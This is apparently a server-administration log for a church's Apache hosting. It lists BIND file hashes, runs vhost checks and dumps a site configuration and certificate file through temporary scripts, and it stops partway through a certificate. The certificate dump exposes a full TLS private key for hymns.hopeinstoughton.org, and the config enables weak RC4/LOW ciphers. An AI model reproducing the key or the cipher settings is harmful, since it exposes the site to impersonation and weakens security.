MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-03 18:41:45: Establishing a connection
2026-01-03 18:41:46: 

PUT: /tmp/pkp350949

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-01-03 18:41:47: 

chmod 755 /tmp/pkp350949; /tmp/pkp350949; rm /tmp/pkp350949

2026-01-03 18:41:47: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
         port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
         port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
         port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443                  is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
         port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
         port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
         port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:28)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-01-03 18:41:47: 

PUT: /tmp/pkp332506

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/hopeinstoughton_hymns_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-03 18:41:47: 

chmod 755 /tmp/pkp332506; /tmp/pkp332506; rm /tmp/pkp332506

2026-01-03 18:41:47: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/hopeinstoughton_hymns_org.conf	1490
<VirtualHost *:80>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py
</VirtualHost>







2026-01-03 18:41:47: 

PUT: /tmp/pkp185314

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-03 18:41:48: 

chmod 755 /tmp/pkp185314; /tmp/pkp185314; rm /tmp/pkp185314

2026-01-03 18:41:48: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4	5385
cd:8f:26:d5:18:ea:d6:47:d2:67:da:2c:da:00:21:5a

-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBS/XsdpTAH0CFIV9Y+aI1ktqMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTAzMTcxNjE3WhcNMjYwNDAzMTcxNjE2WjAkMSIwIAYDVQQD
ExloeW1ucy5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAxGWFIEFX2u59TNziWB8CrQzCGHpFeaGe1zwofUVTBTY3kCbf
7wG3pnujVXydVJqacEZzpjcBmRSqLQyBGB0SbUYHBqvDTDeIMTON46kuNpFiSkM9
c9jekNCgckdpCk2DnagwBKqn7jwOAbT4oTL9r5/JDw18FA4rX+KzGF3OiSVEJB/L
OiI005mjhxS03AQnzO81QfdP76UZ3kVrANKo2dKuUsJJRGN8VV8COReGaRagwR+9
IsaXZBVXp4IMUsB6ERlc6S+uAuTz/faNWscOPhgcahigf1zEYiXYuOJREgMsPezx
3JDIOH3yS6cDdJ6w9KfpYOFYMqZXE540ZrM5JQIDAQABo4ICMDCCAiwwDgYDVR0P
AQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMB
Af8EAjAAMB0GA1UdDgQWBBSZrbNTkPkpFzMtuLmMJyc+dCtAXjAfBgNVHSMEGDAW
gBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUH
MAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCQGA1UdEQQdMBuCGWh5bW5zLmhv
cGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgw
JjAkoCKgIIYeaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xMDcuY3JsMIIBCgYKKwYB
BAHWeQIEAgSB+wSB+AD2AHUAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMU
WOcAAAGbhRGu8QAABAMARjBEAiB/6zYnhtB4mCSJ1qIVmlACAOGqSTqKWVCuGpkK
W2Q6cwIgKD8XtAe3jiOBFgt1WHaIa8n5HA09JKm/FpBNue7Gq/kAfQClyXiSXVdG
F4KHDdiJZgtcVWSLfQBA8uwHaFHRiGkZ9wAAAZuFEbEWAAgAAAUALb4N1gQDAEYw
RAIgeRWzeBkjscJ838rAchgCAKhGtKrp7kB71V6fAUycd8YCIBnlCSBRGiY89UGR
Kl7MFsU0aKk85MrX3Wo6DWDN/hm+MA0GCSqGSIb3DQEBCwUAA4IBAQBoZSb4XVil
txyf7JLd8a/9Q9bq+nXYF5uDSRW0vJkMsu3uyNy9jL6Ymo0IxUz8NzlITWGz7pc1
8OTfhzKsbf7WL/UGyecSeQDW8o7lEJ2QEzcoulj5GFOaaHr3+2miA0RbVJtH91es
5qDpcthirQZ5/2aIJuGVpkaYAYMvxeqO8Cd+VLfbIHwud1NdYcDCpcml2KrHzaok
WUkWoVymBHa9NI4iuiFXuvmBjELXeykcl6zg5MczsiW6Row1FIP/exNEbHXnLpRq
eZdi+CmrMEfgNjKJJ5D64N2FJ+mK10+dj/1Ri7IvA0xchV96i6cvAXUKADo7sgiZ
YocpVC96KaN7
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDEZYUgQVfa7n1M
3OJYHwKtDMIYekV5oZ7XPCh9RVMFNjeQJt/vAbeme6NVfJ1UmppwRnOmNwGZFKot
DIEYHRJtRgcGq8NMN4gxM43jqS42kWJKQz1z2N6Q0KByR2kKTYOdqDAEqqfuPA4B
tPihMv2vn8kPDXwUDitf4rMYXc6JJUQkH8s6IjTTmaOHFLTcBCfM7zVB90/vpRne
RWsA0qjZ0q5SwklEY3xVXwI5F4ZpFqDBH70ixpdkFVenggxSwHoRGVzpL64C5PP9
9o1axw4+GBxqGKB/XMRiJdi44lESAyw97PHckMg4ffJLpwN0nrD0p+lg4VgyplcT
njRmszklAgMBAAECggEABGxG4Aa6/EkEQqsYO9usEhzoOmgt9V5cEnvU/eOGAQvU
Ucv65qVpnMCTopmVNA2jkuVNkZkTGn7RJOC4kh+GDu2DTf6n2V/syVdyrBfMypA9
e4H0AvwZ/DWjKtH54ou6fidiAXV4bpCSq+UG0vsdyQr2iEguGtE8TYxLz4kHAe/J
jqQNvfbVyV5i3+BodehDwkNgy34ohH7wlhaATM26Rq+FfHhPrLXAoAHTz+N3a4sC
8EjWYKzDrPu584EG48ErSKv8DRywol+CexRNmr3H19ja0R+6ea+dhGM49dsN5ItP
tBozgjhpWwxK3ld5nfQguASngAY4CfsF6lT5tyvTNwKBgQD2VmhGkrJx56bgqNyk
UsCrWnh8QttrQBckYLrYs3NfCA7K5C5+qGZf23XCAGwxiwFwbecRFcyAdbWYaerW
3B8s8csBMXPJdmYSLLWUPjAZvcjSnc9LF8IhuaQ+EPctM0xlhaRfX/uALLxj/fh8
m34ncXKrGtSNWPculJdsXhwIBwKBgQDMGaGyOAGaE3PaRoAP77VzgnWY98IB1ff/
P5RkD+RJNwiB94OfhAQEEucD1e2GBs5M58h4pTd6y6OW/Cd50N0PgDGAiMlHsHyB
ASBYUNFuJ4GPdE1eIRSyV7LqRLPXPMzPnjIdrn0Yw1PNGzXJsDmIm4msUlCGrLNG
7+MauBPycwKBgQCfre82IA2QDGt+Ibe0xPejm6eSVPxKj2bw68rygZB9v4lnN3Z0
H9EMvgOdWAzKKKMsL/Gif5DqjGLEg5P45wNGbQ38ngPCSf9sNJMXnyAq73zoGeev
c50ho2a13OV85U3WWUTtlhg/Q8ByyMR0cY7bHo0IIQI7Bbpk9Wkak/5zrQKBgEMC
g1ktFDGPA3F9xhv1WsDC63M+nP7XTmYKbODxasUzAWMSba+Yu2zO+/QBb8uaPm93
hhU+QVnatColPZy8G2g0cYw+3L7hze7Y/NKiLjCZXetIhwJJoC7xpjdOOTGIr8HW
saOXH1FbCA+GSIGgjzMvxeLC39dnqjC3H/wsxbfLAoGAL8agnxB8ajRyxcnc8Jdh
yrZ2qoknC7aLFv56lBR0bhhz/D1a72E/vjpwsAixG6mYqX0lqwUE+Krask6eKoPt
3Bu1i/ydCayM5/7LDWbBdxjUmAsRtyHAYlaA77DAJbOb4J8krtNrON9Zf99LgWGK
iClo1ciLHyATCfy0wH628H8=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
